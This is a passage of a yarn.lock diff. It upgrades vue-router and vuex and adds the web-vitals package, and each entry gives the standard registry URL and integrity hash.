- resolved "https://registry.yarnpkg.com/vue-router/-/vue-router-3.0.2.tgz#dedc67afe6c4e2bc25682c8b1c2a8c0d7c7e56be"
- integrity sha512-opKtsxjp9eOcFWdp6xLQPLmRGgfM932Tl56U9chYTnoWqKxQ8M20N7AkdEbM5beUh6wICoFGYugAX9vQjyJLFg==
+vue-router@^3.4.3:
+ version "3.4.3"
+ resolved "https://registry.yarnpkg.com/vue-router/-/vue-router-3.4.3.tgz#fa93768616ee338aa174f160ac965167fa572ffa"
+ integrity sha512-BADg1mjGWX18Dpmy6bOGzGNnk7B/ZA0RxuA6qedY/YJwirMfKXIDzcccmHbQI0A6k5PzMdMloc0ElHfyOoX35A==
vue-runtime-helpers@^1.1.2:
version "1.1.2"
@@ -12329,10 +12363,10 @@ vuedraggable@^2.23.0:
dependencies:
sortablejs "^1.9.0"
-vuex@^3.1.0:
- version "3.1.0"
- resolved "https://registry.yarnpkg.com/vuex/-/vuex-3.1.0.tgz#634b81515cf0cfe976bd1ffe9601755e51f843b9"
- integrity sha512-mdHeHT/7u4BncpUZMlxNaIdcN/HIt1GsGG5LKByArvYG/v6DvHcOxvDCts+7SRdCoIRGllK8IMZvQtQXLppDYg==
+vuex@^3.5.1:
+ version "3.5.1"
+ resolved "https://registry.yarnpkg.com/vuex/-/vuex-3.5.1.tgz#f1b8dcea649bc25254cf4f4358081dbf5da18b3d"
+ integrity sha512-w7oJzmHQs0FM9LXodfskhw9wgKBiaB+totOdb8sNzbTB2KDCEEwEs29NzBZFh/lmEK1t5tDmM1vtsO7ubG1DFw==
w3c-hr-time@^1.0.1, w3c-hr-time@^1.0.2:
version "1.0.2"
@@ -12385,6 +12419,11 @@ wbuf@^1.1.0, wbuf@^1.7.3:
dependencies:
minimalistic-assert "^1.0.0"
+web-vitals@^0.2.4:
+ version "0.2.4"
+ resolved "https://registry.yarnpkg.com/web-vitals/-/web-vitals-0.2.4.tgz#ec3df43c834a207fd7cdefd732b2987896e08511"
+ integrity sha512-6BjspCO9VriYy12z356nL6JBS0GYeEcA457YyRzD+dD6XYCQ75NKhcOHUMHentOE7OcVCIXXDvOm0jKFfQG2Gg==
+
webidl-conversions@^4.0.2:
version "4.0.2"
resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-4.0.2.tgz#a855980b1f0b6b359ba1d5d9fb39ae941faa63ad"